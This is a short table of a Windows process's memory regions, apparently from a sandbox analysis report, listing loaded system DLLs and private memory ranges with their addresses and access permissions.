rpcrt4.dll	0x7fefe640000	0x7fefe76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shlwapi.dll	0x7fefe770000	0x7fefe7e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msctf.dll	0x7feff710000	0x7feff818fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sechost.dll	0x7feff8c0000	0x7feff8defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
advapi32.dll	0x7feff8e0000	0x7feff9bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
nsi.dll	0x7feff9c0000	0x7feff9c7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
gdi32.dll	0x7feff9d0000	0x7feffa36fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
usp10.dll	0x7feffa40000	0x7feffb08fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apisetschema.dll	0x7feffb20000	0x7feffb20fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
pagefile_0x000007fffffb0000	0x7fffffb0000	0x7fffffd2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x000007fffffd8000	0x7fffffd8000	0x7fffffd9fff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffda000	0x7fffffda000	0x7fffffdbfff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffdc000	0x7fffffdc000	0x7fffffddfff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffde000	0x7fffffde000	0x7fffffdefff	Private Memory	Readable, Writable	Region Actions